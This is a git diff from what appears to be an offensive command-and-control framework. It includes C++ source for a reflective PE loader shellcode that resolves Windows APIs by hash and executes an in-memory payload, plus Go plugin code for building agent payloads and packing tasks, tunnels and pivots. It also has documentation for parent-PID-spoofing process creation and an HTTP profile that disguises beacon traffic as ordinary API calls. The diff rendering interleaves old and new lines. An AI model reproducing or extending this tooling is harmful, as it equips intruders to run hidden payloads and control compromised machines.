Instance->Win32.DbgPrint("[+] TLS Directory: RVA=0x%X, Size=0x%X\n",
|
||||
TlsDir->VirtualAddress, TlsDir->Size);
|
||||
FixTls(PeBaseAddr, TlsDir);
|
||||
Instance->Win32.DbgPrint("[+] Called TLS callbacks\n");
|
||||
}
|
||||
|
||||
// Get entry point
|
||||
PVOID pEntryPoint = (PVOID)((UPTR)PeBaseAddr + AddressOfEntryPoint);
|
||||
BOOL isDllFile = (Header->FileHeader.Characteristics & IMAGE_FILE_DLL) ? TRUE : FALSE;
|
||||
|
||||
Instance->Win32.DbgPrint("[+] Entry point: %p (RVA: 0x%X)\n", pEntryPoint, AddressOfEntryPoint);
|
||||
Instance->Win32.DbgPrint("[+] Type: %s\n", isDllFile ? "DLL" : "EXE");
|
||||
|
||||
__asm("int3");
|
||||
// Execute the loaded PE
|
||||
BOOL Result = FALSE;
|
||||
HANDLE hThread = NULL;
|
||||
|
||||
if (isDllFile) {
|
||||
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
|
||||
Instance->Win32.DbgPrint("[+] Calling DllMain...\n");
|
||||
Result = ((DLLMAIN)pEntryPoint)((HINSTANCE)PeBaseAddr, DLL_PROCESS_ATTACH, NULL);
|
||||
if (ExportedFnAddr) {
|
||||
Instance->Win32.DbgPrint("[+] Calling exported function: %ws\n", ExportedFnName);
|
||||
hThread = Instance->Win32.CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)ExportedFnAddr, NULL, 0, NULL );
|
||||
}
|
||||
if(hThread) {
|
||||
Instance->Win32.DbgPrint("[+] Waiting for exported function thread to complete...\n");
|
||||
Instance->Win32.WaitForSingleObject(hThread, INFINITE);
|
||||
Instance->Win32.CloseHandle(hThread);
|
||||
}
|
||||
}
|
||||
else {
|
||||
typedef int(WINAPI* MAIN)();
|
||||
Instance->Win32.DbgPrint("[+] Calling main...\n");
|
||||
int ExitCode = ((MAIN)pEntryPoint)();
|
||||
Instance->Win32.DbgPrint("[+] main returned: %d\n", ExitCode);
|
||||
Result = (ExitCode == 0) ? TRUE : FALSE;
|
||||
}
|
||||
|
||||
return Result;
|
||||
}
|
||||
|
||||
EXTERN_C
|
||||
auto DECLFN Entry( PVOID Parameter ) -> VOID {
|
||||
PARSER Psr = { 0 };
|
||||
INSTANCE Instance = { 0 };
|
||||
auto DECLFN Entry(PVOID Parameter) -> VOID {
|
||||
PARSER Psr = { 0 };
|
||||
INSTANCE Instance = { 0 };
|
||||
|
||||
PVOID ArgBuffer = nullptr;
|
||||
PVOID ArgBuffer = nullptr;
|
||||
|
||||
NtCurrentPeb()->TelemetryCoverageHeader = (PTELEMETRY_COVERAGE_HEADER)&Instance;
|
||||
NtCurrentPeb()->TelemetryCoverageHeader = (PTELEMETRY_COVERAGE_HEADER)&Instance;
|
||||
|
||||
Instance.Start = StartPtr();
|
||||
Instance.Size = (UPTR)EndPtr() - (UPTR)Instance.Start;
|
||||
Instance.HeapHandle = NtCurrentPeb()->ProcessHeap;
|
||||
Instance.Start = StartPtr();
|
||||
Instance.Size = (UPTR)EndPtr() - (UPTR)Instance.Start;
|
||||
Instance.HeapHandle = NtCurrentPeb()->ProcessHeap;
|
||||
|
||||
Parameter ? ArgBuffer = Parameter : ArgBuffer = (PVOID)( (UPTR)Instance.Start + Instance.Size );
|
||||
Parameter ? ArgBuffer = Parameter : ArgBuffer = (PVOID)((UPTR)Instance.Start + Instance.Size);
|
||||
|
||||
UPTR Ntdll = LoadModule( HashStr( "ntdll.dll" ) );
|
||||
UPTR Kernel32 = LoadModule( HashStr( "kernel32.dll" ) );
|
||||
LoadEssentials(&Instance);
|
||||
|
||||
Instance.Win32.RtlAllocateHeap = (decltype(Instance.Win32.RtlAllocateHeap))LoadApi(Ntdll, HashStr("RtlAllocateHeap"));
|
||||
Instance.Win32.RtlReAllocateHeap = (decltype(Instance.Win32.RtlReAllocateHeap))LoadApi(Ntdll, HashStr("RtlReAllocateHeap"));
|
||||
Instance.Win32.RtlFreeHeap = (decltype(Instance.Win32.RtlFreeHeap))LoadApi(Ntdll, HashStr("RtlFreeHeap"));
|
||||
|
||||
Parser::New( &Psr, ArgBuffer );
|
||||
Instance.Win32.DbgPrint("\n\n[+] Reflection shellcode started...\n");
|
||||
|
||||
ULONG Length = 0;
|
||||
BYTE* Buffer = Parser::Bytes( &Psr, &Length );
|
||||
CHAR* Arguments = Parser::Str( &Psr );
|
||||
BOOL IsSpoof = Parser::Int32( &Psr );
|
||||
WCHAR* Spawnto = Parser::Wstr( &Psr );
|
||||
Parser::New(&Psr, ArgBuffer);
|
||||
|
||||
Instance.IsSpoof = IsSpoof;
|
||||
ULONG Length = 0;
|
||||
BYTE* Buffer = Parser::Bytes(&Psr, &Length);
|
||||
CHAR* Arguments = Parser::Str(&Psr);
|
||||
CHAR* ExportedFnName = Parser::Str(&Psr);
|
||||
|
||||
UPTR Shell32 = LoadModule( HashStr( "shell32.dll" ) );
|
||||
if ( ! Shell32 ) LibLoad( "shell32.dll" );
|
||||
ULONG ArgumentsL = (Str::LengthA(Arguments) + 1) * sizeof(WCHAR);
|
||||
ULONG ExportedFnNameL = (Str::LengthA(ExportedFnName) + 1) * sizeof(WCHAR);
|
||||
|
||||
Instance.Win32.DbgPrint = (decltype(Instance.Win32.DbgPrint))LoadApi(Ntdll, HashStr("DbgPrint"));
|
||||
WCHAR wArguments[MAX_PATH * 2] = { 0 };
|
||||
WCHAR wExportedFnName[MAX_PATH * 2] = { 0 };
|
||||
|
||||
Instance.Win32.LoadLibraryA = (decltype(Instance.Win32.LoadLibraryA))LoadApi(Kernel32, HashStr("LoadLibraryA"));
|
||||
Str::CharToWChar(wExportedFnName, ExportedFnName, ExportedFnNameL);
|
||||
Str::CharToWChar(wArguments, Arguments, ArgumentsL);
|
||||
|
||||
Instance.Win32.NtClose = (decltype(Instance.Win32.NtClose))LoadApi(Ntdll, HashStr("NtClose"));
|
||||
ULONG Result = Reflect(Buffer, Length, wArguments, wExportedFnName);
|
||||
|
||||
Instance.Win32.GetProcAddress = (decltype(Instance.Win32.GetProcAddress))LoadApi(Kernel32, HashStr("GetProcAddress"));
|
||||
Instance.Win32.GetModuleHandleA = (decltype(Instance.Win32.GetModuleHandleA))LoadApi(Kernel32, HashStr("GetModuleHandleA"));
|
||||
Parser::Destroy(&Psr);
|
||||
|
||||
Instance.Win32.NtProtectVirtualMemory = (decltype(Instance.Win32.NtProtectVirtualMemory))LoadApi(Ntdll, HashStr("NtProtectVirtualMemory"));
|
||||
|
||||
Instance.Win32.CommandLineToArgvW = (decltype(Instance.Win32.CommandLineToArgvW))LoadApi(Shell32, HashStr("CommandLineToArgvW"));
|
||||
|
||||
Instance.Win32.GetConsoleWindow = (decltype(Instance.Win32.GetConsoleWindow))LoadApi(Kernel32, HashStr("GetConsoleWindow"));
|
||||
Instance.Win32.AllocConsoleWithOptions = (decltype(Instance.Win32.AllocConsoleWithOptions))LoadApi(Kernel32, HashStr("AllocConsoleWithOptions"));
|
||||
Instance.Win32.FreeConsole = (decltype(Instance.Win32.FreeConsole))LoadApi(Kernel32, HashStr("FreeConsole"));
|
||||
|
||||
Instance.Win32.CreatePipe = (decltype(Instance.Win32.CreatePipe))LoadApi(Kernel32, HashStr("CreatePipe"));
|
||||
Instance.Win32.CreateNamedPipeA = (decltype(Instance.Win32.CreateNamedPipeA))LoadApi(Kernel32, HashStr("CreateNamedPipeA"));
|
||||
Instance.Win32.ConnectNamedPipe = (decltype(Instance.Win32.ConnectNamedPipe))LoadApi(Kernel32, HashStr("ConnectNamedPipe"));
|
||||
Instance.Win32.DisconnectNamedPipe = (decltype(Instance.Win32.DisconnectNamedPipe))LoadApi(Kernel32, HashStr("DisconnectNamedPipe"));
|
||||
Instance.Win32.FlushFileBuffers = (decltype(Instance.Win32.FlushFileBuffers))LoadApi(Kernel32, HashStr("FlushFileBuffers"));
|
||||
Instance.Win32.ReadFile = (decltype(Instance.Win32.ReadFile))LoadApi(Kernel32, HashStr("ReadFile"));
|
||||
Instance.Win32.WriteFile = (decltype(Instance.Win32.WriteFile))LoadApi(Kernel32, HashStr("WriteFile"));
|
||||
Instance.Win32.SetStdHandle = (decltype(Instance.Win32.SetStdHandle))LoadApi(Kernel32, HashStr("SetStdHandle"));
|
||||
Instance.Win32.GetStdHandle = (decltype(Instance.Win32.GetStdHandle))LoadApi(Kernel32, HashStr("GetStdHandle"));
|
||||
|
||||
Instance.Win32.NtGetContextThread = (decltype(Instance.Win32.NtGetContextThread))LoadApi(Ntdll, HashStr("NtGetContextThread"));
|
||||
Instance.Win32.NtContinue = (decltype(Instance.Win32.NtContinue))LoadApi(Ntdll, HashStr("NtContinue"));
|
||||
Instance.Win32.RtlCaptureContext = (decltype(Instance.Win32.RtlCaptureContext))LoadApi(Ntdll, HashStr("RtlCaptureContext"));
|
||||
|
||||
Instance.Win32.RtlAddVectoredExceptionHandler = (decltype(Instance.Win32.RtlAddVectoredExceptionHandler))LoadApi(Ntdll, HashStr("RtlAddVectoredExceptionHandler"));
|
||||
Instance.Win32.RtlRemoveVectoredExceptionHandler = (decltype(Instance.Win32.RtlRemoveVectoredExceptionHandler))LoadApi(Ntdll, HashStr("RtlRemoveVectoredExceptionHandler"));
|
||||
|
||||
Instance.Win32.RtlInitializeCriticalSection = (decltype(Instance.Win32.RtlInitializeCriticalSection))LoadApi(Ntdll, HashStr("RtlInitializeCriticalSection"));
|
||||
Instance.Win32.RtlEnterCriticalSection = (decltype(Instance.Win32.RtlEnterCriticalSection))LoadApi(Ntdll, HashStr("RtlEnterCriticalSection"));
|
||||
Instance.Win32.RtlLeaveCriticalSection = (decltype(Instance.Win32.RtlLeaveCriticalSection))LoadApi(Ntdll, HashStr("RtlLeaveCriticalSection"));
|
||||
|
||||
Instance.Win32.RtlLookupFunctionEntry = (decltype(Instance.Win32.RtlLookupFunctionEntry))LoadApi(Ntdll, HashStr("RtlLookupFunctionEntry"));
|
||||
Instance.Win32.RtlUserThreadStart = (decltype(Instance.Win32.RtlUserThreadStart))LoadApi(Ntdll, HashStr("RtlUserThreadStart"));
|
||||
Instance.Win32.BaseThreadInitThunk = (decltype(Instance.Win32.BaseThreadInitThunk))LoadApi(Kernel32, HashStr("BaseThreadInitThunk"));
|
||||
|
||||
Reflect( Buffer, Length, Arguments );
|
||||
Instance.Win32.RtlExitUserThread(Result);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
+418
-792
File diff suppressed because it is too large
Load Diff
@@ -128,16 +128,15 @@ type Teamserver interface {
|
||||
TsConvertCpToUTF8(input string, codePage int) string
|
||||
TsConvertUTF8toCp(input string, codePage int) string
|
||||
TsWin32Error(errorCode uint) string
|
||||
|
||||
}
|
||||
|
||||
type PluginAgent struct{}
|
||||
type PluginAgent struct{}
|
||||
type ExtenderAgent struct{}
|
||||
|
||||
type ModuleExtender struct {
|
||||
ts Teamserver
|
||||
pa *PluginAgent
|
||||
ext *ExtenderAgent
|
||||
ts Teamserver
|
||||
pa *PluginAgent
|
||||
ext *ExtenderAgent
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -146,7 +145,7 @@ var (
|
||||
AgentWatermark string
|
||||
)
|
||||
|
||||
func (p* PluginAgent) GetExtender() ax.ExtenderAgent {
|
||||
func (p *PluginAgent) GetExtender() ax.ExtenderAgent {
|
||||
return ModuleObject.ext
|
||||
}
|
||||
|
||||
@@ -155,15 +154,15 @@ func InitPlugin(ts any, moduleDir string, watermark string) ax.PluginAgent {
|
||||
AgentWatermark = watermark
|
||||
|
||||
ModuleObject = &ModuleExtender{
|
||||
ts: ts.(Teamserver),
|
||||
pa: &PluginAgent{},
|
||||
ts: ts.(Teamserver),
|
||||
pa: &PluginAgent{},
|
||||
ext: &ExtenderAgent{},
|
||||
}
|
||||
|
||||
return ModuleObject.pa
|
||||
}
|
||||
|
||||
func (pa* PluginAgent) GenerateProfiles(profile ax.BuildProfile) ([][] byte, error) {
|
||||
func (pa *PluginAgent) GenerateProfiles(profile ax.BuildProfile) ([][]byte, error) {
|
||||
var (
|
||||
agentProfiles [][]byte
|
||||
listenerMap map[string]any
|
||||
@@ -180,11 +179,11 @@ func (pa* PluginAgent) GenerateProfiles(profile ax.BuildProfile) ([][] byte, err
|
||||
return agentProfiles, nil
|
||||
}
|
||||
|
||||
func (pa* PluginAgent) BuildPayload(profile ax.BuildProfile, agentProfiles [][]byte) ([]byte, string, error) {
|
||||
func (pa *PluginAgent) BuildPayload(profile ax.BuildProfile, agentProfiles [][]byte) ([]byte, string, error) {
|
||||
var (
|
||||
agentProfile []byte
|
||||
listenerMap map[string]any
|
||||
err error
|
||||
agentProfile []byte
|
||||
listenerMap map[string]any
|
||||
err error
|
||||
)
|
||||
|
||||
for _, transportProfile := range profile.ListenerProfiles {
|
||||
@@ -198,15 +197,15 @@ func (pa* PluginAgent) BuildPayload(profile ax.BuildProfile, agentProfiles [][]b
|
||||
return AgentGenerateBuild(profile.AgentConfig, agentProfile, listenerMap)
|
||||
}
|
||||
|
||||
func (ext* ExtenderAgent) Encrypt(data []byte, key[]byte) ([]byte, error) {
|
||||
func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) {
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (ext* ExtenderAgent) Decrypt(data []byte, key[]byte) ([]byte, error) {
|
||||
func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) {
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (pa* PluginAgent) CreateAgent(beat []byte) (ax.AgentData, ax.ExtenderAgent, error) {
|
||||
func (pa *PluginAgent) CreateAgent(beat []byte) (ax.AgentData, ax.ExtenderAgent, error) {
|
||||
return CreateAgent(beat)
|
||||
}
|
||||
|
||||
@@ -216,14 +215,14 @@ func (ext *ExtenderAgent) CreateCommand(agentData ax.AgentData, args map[string]
|
||||
|
||||
func (ext *ExtenderAgent) PackTasks(agentData ax.AgentData, tasks []ax.TaskData) ([]byte, error) {
|
||||
packedData, err := PackTasks(agentData, tasks)
|
||||
if err != nil {
|
||||
if err != nil || tasks == nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return ext.Encrypt(packedData, agentData.SessionKey)
|
||||
}
|
||||
|
||||
func (ext* ExtenderAgent) PivotPackData(pivotId string, data []byte) (ax.TaskData, error) {
|
||||
func (ext *ExtenderAgent) PivotPackData(pivotId string, data []byte) (ax.TaskData, error) {
|
||||
packData, err := PackPivotTasks(pivotId, data)
|
||||
if err != nil {
|
||||
return ax.TaskData{}, err
|
||||
@@ -306,19 +305,19 @@ func makeProxyTask(packData []byte) ax.TaskData {
|
||||
|
||||
func TunnelMessagePause(channelId int) ax.TaskData {
|
||||
var packData []byte
|
||||
|
||||
|
||||
array := []interface{}{COMMAND_TUNNEL_PAUSE, channelId}
|
||||
packData, _ = PackArray(array)
|
||||
|
||||
|
||||
return makeProxyTask(packData)
|
||||
}
|
||||
|
||||
func TunnelMessageResume(channelId int) ax.TaskData {
|
||||
var packData []byte
|
||||
|
||||
|
||||
array := []interface{}{COMMAND_TUNNEL_RESUME, channelId}
|
||||
packData, _ = PackArray(array)
|
||||
|
||||
|
||||
return makeProxyTask(packData)
|
||||
}
|
||||
|
||||
@@ -446,4 +445,4 @@ func TerminalMessageClose(terminalId int) ax.TaskData {
|
||||
}
|
||||
|
||||
return taskData
|
||||
}
|
||||
}
|
||||
|
||||
+360
-345
File diff suppressed because it is too large
Load Diff
+1
-67
@@ -31,73 +31,7 @@ For more details about `postex` and `scinject`, see the [Commands documentation]
|
||||
|
||||
### Process Creation
|
||||
|
||||
The process creation behavior is defined in [`kit_process_creation.cc`](../agent_kharon/src_modules/kit/kit_process_creation.cc). Two main functions are available:
|
||||
|
||||
#### KhpCreateProcess
|
||||
|
||||
Creates a new process with the specified name:
|
||||
|
||||
```cpp
|
||||
auto inline KhpCreateProcess(
|
||||
_In_ WCHAR* SpawnProcess,
|
||||
_In_ ULONG StateFlag,
|
||||
_Out_ PROCESS_INFORMATION* PsInfo
|
||||
) -> ULONG {
|
||||
#if defined(PS_INJECT_KIT)
|
||||
#include <kit/process_creation.cc>
|
||||
#endif
|
||||
|
||||
BEACON_INFO* info = (BEACON_INFO*)malloc( sizeof( BEACON_INFO ) );
|
||||
|
||||
BeaconInformation( info );
|
||||
|
||||
PS_CREATE_ARGS CreateArgs = {};
|
||||
|
||||
CreateArgs.ppid = info->Config->Ps.ParentID;
|
||||
CreateArgs.blockdlls = info->Config->Ps.BlockDlls;
|
||||
CreateArgs.argument = SpawnProcess;
|
||||
CreateArgs.state = StateFlag;
|
||||
|
||||
ULONG status = kh_process_creation( &CreateArgs, PsInfo );
|
||||
|
||||
free ( info );
|
||||
|
||||
return status;
|
||||
}
|
||||
```
|
||||
|
||||
#### KhpSpawnProcess
|
||||
|
||||
Creates a new process using the configured spawnto process:
|
||||
|
||||
```cpp
|
||||
auto inline KhpSpawntoProcess(
|
||||
_In_ datap* DataParser,
|
||||
_In_ ULONG StateFlag,
|
||||
_Out_ PROCESS_INFORMATION* PsInfo
|
||||
) -> ULONG {
|
||||
#if defined(PS_INJECT_KIT)
|
||||
#include <kit/process_creation.cc>
|
||||
#endif
|
||||
|
||||
BEACON_INFO* info = (BEACON_INFO*)malloc( sizeof( BEACON_INFO ) );
|
||||
|
||||
BeaconInformation( info );
|
||||
|
||||
PS_CREATE_ARGS CreateArgs = {};
|
||||
|
||||
CreateArgs.argument = info->Config->Postex.Spawnto;
|
||||
CreateArgs.state = StateFlag;
|
||||
CreateArgs.ppid = info->Config->Ps.ParentID;
|
||||
CreateArgs.blockdlls = info->Config->Ps.BlockDlls;
|
||||
|
||||
ULONG status = kh_process_creation( &CreateArgs, PsInfo );
|
||||
|
||||
free ( info );
|
||||
|
||||
return status;
|
||||
}
|
||||
```
|
||||
The process creation behavior is defined in [`kit_process_creation.cc`](../agent_kharon/src_modules/kit/kit_process_creation.cc).
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -39,13 +39,10 @@
|
||||
"empty_response": "",
|
||||
|
||||
"uri": {
|
||||
"/api/v1/status /api/v1/health /api/v1/ping": {
|
||||
"_comment": "Multiple URIs with same config (space-separated)",
|
||||
|
||||
"/api/v1/status /api/v1/health /api/v1/ping": {
|
||||
"server_output": {
|
||||
"mask": true,
|
||||
"format": "base64",
|
||||
"_format_options": "base64 | base32 | base64url | hex"
|
||||
"format": "base64"
|
||||
},
|
||||
|
||||
"client_output": {
|
||||
@@ -83,9 +80,7 @@
|
||||
"/api/v1/submit /api/v1/upload": {
|
||||
"server_output": {
|
||||
"mask": false,
|
||||
"format": "base64",
|
||||
"header": "X-Response-Data",
|
||||
"body": "{\"status\": \"ok\", \"code\": 200}"
|
||||
"format": "base64"
|
||||
},
|
||||
|
||||
"client_output": {
|
||||
|
||||
Reference in New Issue
Block a user